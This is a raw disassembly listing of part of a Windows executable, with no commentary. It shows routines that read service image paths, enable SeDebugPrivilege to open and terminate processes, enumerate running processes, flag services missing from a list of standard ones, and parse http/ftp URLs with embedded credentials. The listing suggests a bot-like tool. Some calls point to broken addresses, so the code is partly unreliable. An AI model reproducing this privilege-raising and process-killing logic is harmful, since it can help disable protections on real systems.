call sub_401226
test bl, bl
jz loc_42036A
lea ecx, [esp+460h+var_43C]
call sub_40142E
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_40168B
push eax
push 80000002h
nop
call near ptr 296029Eh
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
call near ptr 2910000h
nop
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_5119E0
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_444AD4 ; "\\"
nop
call near ptr 76085AE4h
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
call near ptr 760976AFh
nop
lea ecx, [esp+4A4h+var_490]
call near ptr 7608B84Ch
nop
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE1366E8h, 2BE850FFh, 90023D0Ah, 14244C8Dh
dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42036A: ; CODE XREF: sub_4201F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4201F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420400 proc near ; CODE XREF: sub_401EABj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2930926h
mov ebx, eax
test ebx, ebx
jnz short loc_420425
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420425: ; CODE XREF: sub_420400+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push ebx
nop
call near ptr 28D03D8h
mov esi, eax
test esi, esi
jnz short loc_420450
push ebx
call near ptr 2940000h
nop
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420450: ; CODE XREF: sub_420400+3Fj
push ebp
push edi
mov edi, dword_511748
push esi
call edi
push esi
call edi
mov ebp, dword_511744
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, dword_511754
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420400 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4204D0 proc near ; CODE XREF: sub_4018B6j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
nop
call near ptr 27A0187h
push eax
call near ptr 28F14ACh
nop
mov ebp, dword_511720
mov edi, dword_5118E0
test eax, eax
jnz short loc_420520
lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 27A01BFh
push eax
nop
call near ptr 28F1AC3h
test eax, eax
jz short loc_42057F
loc_420520: ; CODE XREF: sub_4204D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420583
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
call near ptr 2900000h
nop
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_420578
nop
call near ptr 27D0990h
cmp eax, 514h
jnz short loc_420583
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42057D
; ---------------------------------------------------------------------------
loc_420578: ; CODE XREF: sub_4204D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42057D: ; CODE XREF: sub_4204D0+A6j
call edi
loc_42057F: ; CODE XREF: sub_4204D0+4Ej
mov [esp+38h+var_28], esi
loc_420583: ; CODE XREF: sub_4204D0+54j
; sub_4204D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2710000h
mov esi, eax
test esi, esi
jz short loc_4205A8
push 0
push esi
nop
call near ptr 27A01DCh
push esi
mov bl, 1
call edi
loc_4205A8: ; CODE XREF: sub_4204D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4205C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_4205C7: ; CODE XREF: sub_4204D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4204D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420630 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420630
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_437B30
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 28A1CCEh
test eax, eax
mov dword_50DB30, eax
jnz short loc_42067C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27F088Ah
test eax, eax
mov dword_50DB30, eax
jz loc_4207FA
loc_42067C: ; CODE XREF: sub_420630+32j
mov esi, dword_511918
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov dword_50DB34, eax
mov eax, dword_50DB30
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, dword_50DB30
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50DB38, eax
call esi
mov ecx, dword_50DB34
mov dword_50DB3C, eax
test ecx, ecx
jz loc_4207FA
mov edx, dword_50DB38
test edx, edx
jz loc_4207FA
test eax, eax
jz loc_4207FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_4207FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4207E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_5117E0
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42073F: ; CODE XREF: sub_420630+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_4207CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50DB38
test eax, eax
jz short loc_4207C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50DB3C
lea ecx, [esp+74h+var_54]
call sub_401875
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015E1
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402185
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A82
loc_4207C6: ; CODE XREF: sub_420630+136j
push esi
nop
call near ptr 2850BF4h
loc_4207CD: ; CODE XREF: sub_420630+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42073F
pop ebp
pop ebx
loc_4207E1: ; CODE XREF: sub_420630+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4207FA: ; CODE XREF: sub_420630+46j
; sub_420630+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420630 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208A0 proc near ; CODE XREF: sub_401875j
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_4208A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4208C0 proc near ; CODE XREF: sub_401A82j
jmp sub_401226
sub_4208C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208E0 proc near ; CODE XREF: sub_402162j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4208E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
nop
call near ptr 2930926h
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42092F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42092F: ; CODE XREF: sub_4208E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44530C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset off_4452F4
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_40142E
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_511718
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420C8F
mov ebp, dword_511764
loc_420B6B: ; CODE XREF: sub_4208E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420B97
lea esi, [esp+524h+var_4E0]
loc_420B78: ; CODE XREF: sub_4208E0+2B5j
mov ecx, [edi]
push ecx
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz loc_420C73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420B78
loc_420B97: ; CODE XREF: sub_4208E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_40168B
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_420BE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420C3A
; ---------------------------------------------------------------------------
loc_420BE3: ; CODE XREF: sub_4208E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
nop
call near ptr 2910000h
cmp eax, ebx
jz short loc_420C1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420C3A
; ---------------------------------------------------------------------------
loc_420C1D: ; CODE XREF: sub_4208E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420C3A: ; CODE XREF: sub_4208E0+301j
; sub_4208E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014D3
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420C73: ; CODE XREF: sub_4208E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420B6B
mov ebp, [esp+524h+var_4FC]
loc_420C8F: ; CODE XREF: sub_4208E0+27Fj
push ebp
nop
call near ptr 2940000h
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4208E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420DD0 proc near ; CODE XREF: sub_4015F5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
nop
call near ptr 28A1CCEh
push eax
nop
call near ptr 28A1273h
mov eax, esi
pop esi
retn
sub_420DD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E00 proc near ; CODE XREF: sub_401A37j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420E39
loc_420E22: ; CODE XREF: sub_420E00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420E22
cmp ecx, 0
jz short loc_420E4A
loc_420E39: ; CODE XREF: sub_420E00+20j
; sub_420E00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420E39
loc_420E4A: ; CODE XREF: sub_420E00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420EA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50DB24, eax
mov eax, offset dword_50DB24
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420EC0: ; CODE XREF: ___:0040177Bj
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_511AAC
push esi
call edi ; ftell
mov ebp, dword_511AA4
push 2
push 0
push esi
mov ebx, eax
call ebp ; fseek
push esi
call edi ; ftell
push 0
push ebx
push esi
mov edi, eax
call ebp ; fseek
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420F10 proc near ; CODE XREF: sub_401947j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420F10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420F3F
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_420F3F: ; CODE XREF: sub_420F10+26j
lea ecx, [esp+90h+var_84]
call sub_40142E
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015E1
push offset asc_444C64 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420FCF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420FCF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_420FCF: ; CODE XREF: sub_420F10+92j
; sub_420F10+A2j
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D34
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_4453E0 ; "/"
push 1
jz loc_42130C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_4210C9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_4210C9: ; CODE XREF: sub_420F10+19Cj
push offset asc_4453E0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421195
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42117E
mov dword ptr [esi+54h], 50h
loc_42117E: ; CODE XREF: sub_420F10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421195
mov dword ptr [esi+54h], 15h
loc_421195: ; CODE XREF: sub_420F10+255j
; sub_420F10+27Cj
push offset asc_4453E0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016B8
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42124E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_42124E: ; CODE XREF: sub_420F10+321j
push offset asc_4453E0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016B8
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421433
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_42130C: ; CODE XREF: sub_420F10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421393
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420F10+466j
push offset asc_4453E0 ; "/"
